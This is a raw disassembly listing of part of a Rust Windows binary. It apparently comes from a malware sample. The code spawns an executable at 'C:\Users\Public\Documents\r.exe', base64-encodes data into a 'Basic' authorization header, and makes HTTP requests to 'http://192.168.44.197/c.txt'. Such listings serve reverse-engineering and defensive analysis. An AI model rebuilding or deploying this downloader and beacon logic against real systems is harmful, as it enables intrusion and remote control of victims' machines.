movabs r14, 0x8000000000000000
mov al, byte [0x140149110]
xor edi, edi
mov ebx, 0x1f
mov edx, 0x1f
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x14000411f
mov rsi, rax
movups xmm0, xmmword [0x1400decf7]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.C:UsersPublicDocuments_r.exehttp:__192.168.44.197_c.txtsrc_main.rs]
movups xmmword [rax], xmm0
lea rdx, [rsp + 0x4b0]
mov qword [rdx], rbx
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rbx
mov byte [rdx + 0x18], 0
mov qword [rdx + 0x20], rdi
mov qword [rdx + 0x28], 8
mov qword [rdx + 0x30], rdi
mov qword [rdx + 0x88], rdi
mov qword [rdx + 0x98], rdi
mov word [rdx + 0xa0], di
mov qword [rdx + 0x38], r14
mov dword [rdx + 0xc4], edi
mov word [rdx + 0xc0], di
mov word [rdx + 0xc8], di
mov eax, 6
mov dword [rdx + 0x58], eax
mov dword [rdx + 0x68], eax
mov dword [rdx + 0x78], eax
mov qword [rdx + 0xa8], rdi
mov qword [rdx + 0xb8], rdi
lea r8, [rsp + 0x2c0]
mov dword [r8], edi
lea rdi, [rsp + 0x920]
mov rcx, rdi
call sym.std::sys::pal::windows::process::Command::spawn::h5242163f7f9069de
mov r14, qword [rdi]
mov rax, qword [rdi + 0x10]
cmp rax, 2
je 0x14000412e
mov rdi, qword [rsp + 0x928]
mov r15, qword [rsp + 0x940]
mov r13, qword [rsp + 0x948]
mov rbp, qword [rsp + 0x950]
mov rbx, qword [rsp + 0x958]
test rax, rax
je 0x140003c04
mov rcx, qword [rsp + 0x938]
call sub.kernel32.dll_CloseHandle
mov rcx, r14
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
mov qword [rsp + 0x28], rbx
je 0x140003c2e
call sub.kernel32.dll_GetLastError
mov r12d, eax
shl r12, 0x20
or r12, 2
xor ebx, ebx
jmp 0x140003c4a
lea rdx, [rsp + 0x920]
mov dword [rdx], 0
mov rcx, r14
call sub.kernel32.dll_GetExitCodeProcess
test eax, eax
je 0x140003c1a
mov bl, 1
mov rcx, r14
call sub.kernel32.dll_CloseHandle
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
test r15, r15
je 0x140003c67
mov rcx, r13
call sub.kernel32.dll_CloseHandle
test rbp, rbp
je 0x140003c76
mov rcx, qword [rsp + 0x28]
call sub.kernel32.dll_CloseHandle
test bl, bl
je 0x140004131
mov ecx, 0x1f
mov rdx, rsi
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
movaps xmm6, xmmword [rsp + 0xdd0]
add rsp, 0xde8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x150], rax
movaps xmm0, xmmword [rsp + 0x290]
movups xmmword [rsp + 0x158], xmm0
lea rcx, [rsp + 0x920]
lea rdx, [rsp + 0x2c0]
mov r8d, 0x150
call sym.memcpy
mov al, byte [0x140149110]
mov ebx, 6
mov edx, 6
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400044b6
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
lea r14, [rsp + 0xf0]
mov qword [r14], rbx
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rbx
xor ebp, ebp
lea rbx, [rsp + 0x4b0]
mov byte [rbx + 0x422], bpl
mov word [rbx + 0x420], 0
mov r8d, 0x400
mov rcx, rbx
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [0x140109876]
mov qword [rbx + 0x418], rax
mov qword [rbx + 0x400], r14
mov byte [rbx + 0x423], bpl
xorps xmm0, xmm0
movups xmmword [rbx + 0x408], xmm0
lea rax, [rsp + 0x150]
mov qword [rsp + 0x120], rax
lea r14, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::h52a6fd798ae94d3e]
mov qword [rsp + 0x128], r14
lea rax, [0x14010c2b0]
lea rdx, [rsp + 0x420]
mov qword [rdx], rax
mov qword [rdx + 8], 2
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], 1
mov rcx, rbx
call sym.std::io::Write::write_fmt::h4597bcbf7a9f1015
mov qword [rsp + 0x200], rax
test rax, rax
je 0x140003dd8
lea rcx, [rsp + 0x200]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3c570bf81c87a7cf
cmp rdi, r15
je 0x140003e6f
mov qword [rsp + 0x120], rdi
movaps xmm0, xmmword [rsp + 0xb50]
movups xmmword [rsp + 0x128], xmm0
lea rax, [rsp + 0x200]
mov qword [rax], rsi
mov qword [rax + 8], r14
lea rcx, [0x140138b48]
lea rdx, [rsp + 0x420]
mov qword [rdx], rcx
mov ecx, 1
mov qword [rdx + 8], rcx
mov qword [rdx + 0x20], 0
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
lea rcx, [rsp + 0x4b0]
call sym.std::io::Write::write_fmt::h4597bcbf7a9f1015
mov qword [rsp + 0xa0], rax
test rax, rax
je 0x140003e5a
lea rcx, [rsp + 0xa0]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3c570bf81c87a7cf
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
lea rcx, [rsp + 0x4b0]
call sym.__base64::write::encoder::EncoderWriter_E_W__as_core::ops::drop::Drop_::drop::h411b7ee31763f64d
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
lea rsi, [rsp + 0x4b0]
mov rcx, rsi
call sym.http::header::value::HeaderValue::try_from_generic::h41dfe7de2598b0b4
cmp byte [rsi + 0x20], 2
je 0x1400044c5
movups xmm0, xmmword [rsp + 0x4b0]
movups xmm1, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
mov eax, dword [rsp + 0x4d1]
mov dword [rsp + 0x71], eax
mov eax, dword [rsp + 0x4d4]
mov dword [rsp + 0x74], eax
mov byte [rsp + 0x70], 1
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
cmp dword [rsp + 0x920], 2
jne 0x140003f43
lea rcx, [rsp + 0xb60]
lea rdx, [rsp + 0x920]
mov r8d, 0x150
call sym.memcpy
lea rcx, [rsp + 0x68]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x20]
jmp 0x140002480
lea rax, [rsp + 0x71]
movups xmm0, xmmword [0x14010aab8]
lea rdx, [rsp + 0x420]
movaps xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [0x14010aaa8]
movaps xmmword [rdx], xmm0
movaps xmm0, xmmword [rax - 0x21]
movaps xmm1, xmmword [rax - 0x11]
lea r8, [rsp + 0x4b0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
mov ecx, dword [rax]
mov eax, dword [rax + 3]
mov dword [r8 + 0x21], ecx
mov dword [r8 + 0x24], eax
lea rcx, [rsp + 0x948]
mov byte [r8 + 0x20], 1
call sym.http::header::map::HeaderMap_T_::append::h24f1b982efdf62c2
lea rcx, [rsp + 0xb60]
lea rdx, [rsp + 0x920]
jmp 0x140002475
lea rcx, [rsp + 0xc0]
mov qword [rcx], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x170], rax
lea rax, [sym._ZN4core3fmt3num50__LT_impl_u20_core..fmt..Debug_u20_for_u20_u64_GT_3fmt17h5ebed50487b9765cE.1137]
mov qword [rsp + 0x178], rax
jmp 0x140004007
mov qword [rsp + 0x50], rcx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x170], rax
lea rax, [sym._ZN4core3fmt3num50__LT_impl_u20_core..fmt..Debug_u20_for_u20_u64_GT_3fmt17h5ebed50487b9765cE.1137]
mov qword [rsp + 0x178], rax
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x180], rcx
mov qword [rsp + 0x188], rax
lea rax, str.cannot_advance_past__remaining_:___
lea rcx, [rsp + 0x2c0]
mov qword [rcx], rax
mov eax, 2
mov qword [rcx + 8], rax
mov qword [rcx + 0x20], 0
lea rdx, [rsp + 0x170]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_bytes_1.7.2_src_bytes.rs
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.12_src_header_value.rs
xor ecx, ecx
xor edx, edx
call sym.core::panicking::panic_bounds_check::hf065bc95f1c7a8f7
lea rax, str.called_after_complete
lea rcx, [rsp + 0x4b0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_tokio_1.40.0_src_sync_oneshot.rs
call sym.core::panicking::panic_fmt::h50bba86df16ca19f
lea rcx, [rsp + 0x170]
call sym._ZN4core3ptr119drop_in_place_LT_tokio..sync..oneshot..Receiver_LT_core..result..Result_LT__LP__RP__C_reqwest..error..Error_GT_
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2c8]
call qword [rax + 0x18]
call sym.reqwest::blocking::client::event_loop_panicked::hcfaa3e0fbe0e4d14
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_response.rs
call sym.core::panicking::panic_const::panic_const_async_fn_resumed::ha09eb504276d35df
lea r8, str._rustc_eeb90cda1969383f56a2637cbd3037bdf598841clibrary_std_srciomod.rs
mov rcx, rdx
mov rdx, rdi
call sym.core::slice::index::slice_start_index_len_fail::h8d3d56967d6340e8
mov rdx, r15
lea r8, [rsp + 0x920]
mov qword [r8], rdx
lea rax, [0x1400ded78]
jmp 0x140004143
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_client.rsthread_not_dropped_yet
call sym.core::panicking::panic_const::panic_const_async_fn_resumed::ha09eb504276d35df
mov ecx, 8
mov edx, 0x18
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
mov ecx, 8
mov edx, 0x30
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
mov ecx, 1
mov edx, 0x1f
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
mov r12, r14
lea r8, [rsp + 0x920]
mov qword [r8], r12
lea rax, [0x1400ded90]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_std::io::error::Error_::h3c570bf81c87a7cf
mov ecx, 1
xor edx, edx
call sym.core::result::unwrap_failed::h8f275d6668207d54
mov eax, 1
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rsi
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_hyper_0.14.31_src_body_to_bytes.rs
call sym.core::panicking::panic_const::panic_const_async_fn_resumed::ha09eb504276d35df
mov ecx, 8
mov edx, 0xd0
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
mov ecx, pe_nt_image_headers64
mov edx, 0x200
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
mov ecx, 8
mov edx, 0x48
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
mov ecx, 1
mov edx, 0x1d
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
mov ecx, 8
mov edx, 0x1c0
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
lock dec qword [r14]
jne 0x1400041e3
lea rcx, [rsp + 0x170]
call sym.alloc::sync::Arc_T_A_::drop_slow::hf9ece11acda245c5
mov rax, qword [rsp + 0x30]
lock dec qword [rax]
jne 0x1400041f8
mov rcx, qword [rsp + 0x30]
call sym.alloc::sync::Arc_T_A_::drop_slow::h6319fa57e8aac1b9
xor ecx, ecx
mov rdx, rsi
call sym.reqwest::error::Error::new::h51fac223bc36b0ec
mov r15, rax
lea rcx, [rsp + 0x418]
call sym._ZN4core3ptr119drop_in_place_LT_tokio..sync..oneshot..Receiver_LT_core..result..Result_LT__LP__RP__C_reqwest..error..Error_GT_
jmp 0x140004252
mov rcx, qword [rsp + 0x248]
call sub.kernel32.dll_CloseHandle
mov rax, qword [rsp + 0x238]
lock dec qword [rax]
jne 0x14000423c
mov rcx, qword [rsp + 0x238]
call sym.alloc::sync::Arc_T_A_::drop_slow::h6319fa57e8aac1b9
mov rax, qword [rsp + 0x240]
lock dec qword [rax]
jne 0x140004252
mov rcx, rsi
call sym.alloc::sync::Arc_T_A_::drop_slow::hf9ece11acda245c5
lea rcx, [rsp + 0x278]
call sym._ZN4core3ptr249drop_in_place_LT_tokio..sync..mpsc..unbounded..UnboundedSender_LT__LP_reqwest..async_impl..request..Request_C_t
lea r8, [rsp + 0x920]
mov qword [r8], r15
lea rax, [0x1400ded30]
jmp 0x1400042a4
lea r8, [rsp + 0x4b0]
mov rax, qword [rsp + 0x80]
mov qword [r8], rax
lea rax, [0x1400ded48]
jmp 0x140004143
lea r8, [rsp + 0x4b0]
mov qword [r8], rsi
lea rax, [0x1400ded60]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_reqwest::error::Error_::h5e44ac9ffa219f6e
jmp 0x14000414f
add rcx, 0x10
call sym.std::thread::scoped::ScopeData::overflow::hab09392e0c330403
mov ecx, 8
mov edx, 0xd0
call sym.alloc::alloc::handle_alloc_error::h526f0ddc898dc940
lea rcx, str.core_thread_exited_earlyX
lea r8, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_client.rsthread_not_dropped_yet
mov edx, 0x18
call sym.core::option::expect_failed::h7cac1e3ba6dd990a
lea r14, [rsp + 0x4b8]
mov qword [r14 - 8], rdi
lea rdx, [rsp + 0x920]
mov r8d, 0x88
mov rcx, r14
call sym.memcpy
mov rax, qword [rsp + 0x258]
mov qword [r14 + 0x88], rax
mov rax, qword [rsp + 0x260]
mov qword [r14 + 0x90], rax
mov eax, dword [rsp + 0x90]
mov dword [r14 + 0x98], eax
mov eax, dword [rsp + 0x94]
mov dword [r14 + 0x9c], eax
mov eax, dword [rsp + 0xe8]
mov dword [r14 + 0xa0], eax
mov eax, dword [rsp + 0x98]
mov dword [r14 + 0xa4], eax
movzx eax, word [rsp + 0x40]
mov word [r14 + 0xa8], ax
movzx eax, word [rsp + 0x28]
mov word [r14 + 0xaa], ax
mov eax, dword [rsp + 0xec]
mov dword [r14 + 0xac], eax
mov eax, dword [rsp + 0x9c]
mov dword [r14 + 0xb0], eax
mov eax, dword [rsp + 0xe0]
mov dword [r14 + 0xb4], eax
mov eax, dword [rsp + 0xdc]
mov dword [r14 + 0xb8], eax
mov eax, dword [rsp + 0xd8]
mov dword [r14 + 0xbc], eax
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [r14 + 0xc0], xmm0
mov al, byte [rsp + 0x100]
mov byte [r14 + 0xd0], al
mov eax, dword [rsp + 0x200]
mov dword [r14 + 0xd1], eax
mov eax, dword [rsp + 0x203]
mov dword [r14 + 0xd4], eax
mov rax, qword [rsp + 0x250]
mov qword [r14 + 0xd8], rax
mov eax, dword [rsp + 0xe4]
mov dword [r14 + 0xe0], eax
mov eax, dword [rsp + 0x190]
mov dword [r14 + 0x104], eax
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movups xmmword [r14 + 0xe4], xmm0
movups xmmword [r14 + 0xf4], xmm1
mov qword [r14 + 0x108], rsi
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_client.rsthread_not_dropped_yet
mov qword [rsp + 0x20], rax
lea rcx, str.core_thread_panicked
lea r9, sym._ZN4core3ptr239drop_in_place_LT_tokio..sync..mpsc..error..SendError_LT__LP_reqwest..async_impl..request..Request_C_tokio..sync
lea r8, [rsp + 0x4b0]
mov edx, 0x14
call sym.core::result::unwrap_failed::h8f275d6668207d54
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_request.rs
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_username_shouldnt_fail
jmp 0x14000449d
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_impl_request.rs
mov qword [rsp + 0x20], rax
lea rcx, str.has_authority_means_set_password_shouldnt_fail
lea r9, [0x14010a480]
lea r8, [rsp + 0xa0]
mov edx, 0x2f
call sym.core::result::unwrap_failed::h8f275d6668207d54
mov ecx, 1
mov edx, 6
call sym.alloc::raw_vec::handle_error::hd43ffb3afada7951
lea rax, [0x140109a38]
mov qword [rsp + 0x20], rax
lea rcx, str.base64_is_always_valid_HeaderValue_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_util.rs
lea r9, [0x14010c060]
lea r8, [rsp + 0xa0]
mov edx, 0x22
call sym.core::result::unwrap_failed::h8f275d6668207d54
mov ecx, 7
int 0x29
ud2
call qword [rax + 0x18]
cmp r13d, 3
mov rax, qword [rsp + 0x30]
je 0x140004e81
cmp r13d, 4
jne 0x140004eba
test r15, r15
je 0x140004f3c
mov rcx, qword [r15]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140004e9c
mov rdx, qword [r15 + 8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
lea rdx, [rsp + 0xcb8]
mov r8d, 0x58
mov rcx, r15
call sub.msvcrt.dll_memmove
mov r13d, 3
jmp 0x140004ef4
lock inc qword [rax]
jle case.0x140002766.2
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x170]
mov r8d, 0x88
call sym.memcpy
mov rcx, qword [rsp + 0xcb8]
mov rdx, qword [rsp + 0xcc0]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
cmp dword [rsp + 0x40], 2
jne 0x140004f25
mov rax, qword [rsp + 0xb38]
cmp eax, 2
je 0x140004f25
lea rsi, [rsp + 0xb00]
mov rcx, qword [rsi + 0x28]
mov rdx, qword [rsi + 0x30]
call fcn.14002bf76
mov rcx, rsi
call sym.core::ptr::drop_in_place_hyper::body::body::Sender_::h53ccdd3854df9983
mov rax, qword [rsp + 0xc98]
lock dec qword [rax]
je 0x1400024ae
jmp 0x1400024bb
mov cx, 1
call sym.reqwest::error::Error::new::h4644e855e50e25c4
mov r15, rax
mov rcx, qword [rax]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140004f63
mov rdx, qword [r15 + 8]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
lea rsi, [rsp + 0xcb8]
mov ecx, 0xb
mov rdi, r15
rep movsq qword [rdi], qword [rsi]
jmp 0x140004eb2
ud2
call sym.reqwest::blocking::client::event_loop_panicked::hcfaa3e0fbe0e4d14
int3